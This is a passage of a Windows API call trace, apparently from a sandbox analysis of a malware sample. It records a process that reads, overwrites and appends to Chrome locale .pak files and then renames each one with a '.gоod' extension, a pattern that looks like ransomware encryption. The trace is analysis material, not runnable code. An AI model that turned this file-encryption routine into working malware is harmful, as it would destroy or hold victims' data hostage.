ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3fcb0)) returned 1 [0112.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0112.911] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\id.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\id.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\id.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\id.pak.gоod")) returned 1 [0112.912] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\it.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\it.pak", lpFilePart=0x0) returned 0x4c [0112.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0112.912] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\it.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\it.pak"), fInfoLevelId=0x0, lpFileInformation=0x3459e38 | out: lpFileInformation=0x3459e38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51ab4974, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x44e38)) returned 1 [0112.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0112.913] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\it.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\it.pak", lpFilePart=0x0) returned 0x4c [0112.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0112.913] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\it.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\it.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0112.913] GetFileType (hFile=0x768) returned 0x1 [0112.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0112.913] GetFileType (hFile=0x768) returned 0x1 [0112.913] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0112.914] ReadFile (in: hFile=0x768, lpBuffer=0x345a250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x345a250*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0112.915] CloseHandle (hObject=0x768) returned 1 [0112.915] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\it.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\it.pak", lpFilePart=0x0) returned 0x4c [0112.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0112.915] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\it.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\it.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0112.915] GetFileType (hFile=0x768) returned 0x1 [0112.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0112.915] GetFileType (hFile=0x768) returned 0x1 [0112.915] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x44e38 [0112.915] WriteFile (in: hFile=0x768, lpBuffer=0x345b4e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x345b4e8*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0114.042] CloseHandle (hObject=0x768) returned 1 [0115.665] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\it.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\it.pak", lpFilePart=0x0) returned 0x4c [0115.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0115.665] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\it.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\it.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0115.665] GetFileType (hFile=0x7b4) returned 0x1 [0115.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0115.665] GetFileType (hFile=0x7b4) returned 0x1 [0115.665] ReadFile (in: hFile=0x7b4, lpBuffer=0x38c0058, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x38c0058*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0116.091] CloseHandle (hObject=0x7b4) returned 1 [0116.091] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\it.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\it.pak", lpFilePart=0x0) returned 0x4c [0116.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0116.091] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\it.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\it.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0116.091] GetFileType (hFile=0x7b4) returned 0x1 [0116.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0116.092] GetFileType (hFile=0x7b4) returned 0x1 [0116.092] WriteFile (in: hFile=0x7b4, lpBuffer=0x38bedb0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x38bedb0*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0116.092] CloseHandle (hObject=0x7b4) returned 1 [0116.092] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\it.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\it.pak", lpFilePart=0x0) returned 0x4c [0116.092] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\it.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\it.pak.gоod", lpFilePart=0x0) returned 0x51 [0116.092] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0116.092] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\it.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\it.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x416926c9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x44e48)) returned 1 [0116.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0116.092] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\it.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\it.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\it.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\it.pak.gоod")) returned 1 [0116.093] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ja.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ja.pak", lpFilePart=0x0) returned 0x4c [0116.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0116.093] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ja.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ja.pak"), fInfoLevelId=0x0, lpFileInformation=0x3372978 | out: lpFileInformation=0x3372978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51ade184, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x54eae)) returned 1 [0116.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0116.093] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ja.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ja.pak", lpFilePart=0x0) returned 0x4c [0116.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0116.093] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ja.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ja.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0116.094] GetFileType (hFile=0x7b4) returned 0x1 [0116.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0116.094] GetFileType (hFile=0x7b4) returned 0x1 [0116.094] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0116.094] ReadFile (in: hFile=0x7b4, lpBuffer=0x3372d90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x3372d90*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0116.103] CloseHandle (hObject=0x7b4) returned 1 [0116.103] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ja.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ja.pak", lpFilePart=0x0) returned 0x4c [0116.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0116.103] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ja.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ja.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0116.104] GetFileType (hFile=0x7b4) returned 0x1 [0116.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0116.104] GetFileType (hFile=0x7b4) returned 0x1 [0116.104] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x54eae [0116.104] WriteFile (in: hFile=0x7b4, lpBuffer=0x33962c8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x33962c8*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0116.105] CloseHandle (hObject=0x7b4) returned 1 [0116.105] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ja.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ja.pak", lpFilePart=0x0) returned 0x4c [0116.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0116.105] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ja.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ja.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0116.106] GetFileType (hFile=0x7b4) returned 0x1 [0116.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0116.106] GetFileType (hFile=0x7b4) returned 0x1 [0116.106] ReadFile (in: hFile=0x7b4, lpBuffer=0x3398c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3398c68*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0117.249] CloseHandle (hObject=0x7b4) returned 1 [0117.249] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ja.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ja.pak", lpFilePart=0x0) returned 0x4c [0117.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0117.249] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ja.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ja.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0117.249] GetFileType (hFile=0x7b4) returned 0x1 [0117.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0117.249] GetFileType (hFile=0x7b4) returned 0x1 [0117.249] WriteFile (in: hFile=0x7b4, lpBuffer=0x331a8c0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x331a8c0*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0117.249] CloseHandle (hObject=0x7b4) returned 1 [0117.250] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ja.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ja.pak", lpFilePart=0x0) returned 0x4c [0117.250] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ja.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ja.pak.gоod", lpFilePart=0x0) returned 0x51 [0117.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0117.250] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ja.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ja.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4219965b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x54ebe)) returned 1 [0117.250] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0117.250] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ja.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ja.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ja.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ja.pak.gоod")) returned 1 [0117.250] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\kn.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\kn.pak", lpFilePart=0x0) returned 0x4c [0117.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0117.251] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\kn.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\kn.pak"), fInfoLevelId=0x0, lpFileInformation=0x35e9148 | out: lpFileInformation=0x35e9148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51afb644, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0xa2f0d)) returned 1 [0117.251] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0117.251] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\kn.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\kn.pak", lpFilePart=0x0) returned 0x4c [0117.251] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0117.251] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\kn.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\kn.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0117.251] GetFileType (hFile=0x7b4) returned 0x1 [0117.251] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0117.251] GetFileType (hFile=0x7b4) returned 0x1 [0117.251] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0117.251] ReadFile (in: hFile=0x7b4, lpBuffer=0x35e9560, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x35e9560*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0117.253] CloseHandle (hObject=0x7b4) returned 1 [0117.253] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\kn.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\kn.pak", lpFilePart=0x0) returned 0x4c [0117.253] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0117.253] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\kn.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\kn.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0117.253] GetFileType (hFile=0x7b4) returned 0x1 [0117.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0117.253] GetFileType (hFile=0x7b4) returned 0x1 [0117.253] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0xa2f0d [0117.253] WriteFile (in: hFile=0x7b4, lpBuffer=0x35ed778*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x35ed778*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0117.257] CloseHandle (hObject=0x7b4) returned 1 [0117.257] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\kn.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\kn.pak", lpFilePart=0x0) returned 0x4c [0117.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0117.257] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\kn.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\kn.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0117.257] GetFileType (hFile=0x7b4) returned 0x1 [0117.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0117.257] GetFileType (hFile=0x7b4) returned 0x1 [0117.257] ReadFile (in: hFile=0x7b4, lpBuffer=0x35f1908, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x35f1908*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0117.394] CloseHandle (hObject=0x7b4) returned 1 [0117.394] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\kn.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\kn.pak", lpFilePart=0x0) returned 0x4c [0117.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0117.394] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\kn.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\kn.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0117.394] GetFileType (hFile=0x7b4) returned 0x1 [0117.394] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0117.394] GetFileType (hFile=0x7b4) returned 0x1 [0117.394] WriteFile (in: hFile=0x7b4, lpBuffer=0x338f2a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x338f2a8*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0117.395] CloseHandle (hObject=0x7b4) returned 1 [0117.395] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\kn.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\kn.pak", lpFilePart=0x0) returned 0x4c [0117.395] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\kn.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\kn.pak.gоod", lpFilePart=0x0) returned 0x51 [0117.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0117.395] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\kn.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\kn.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x422f0af8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa2f1d)) returned 1 [0117.395] SetThreadErrorMode (dwNewMode=0x0, 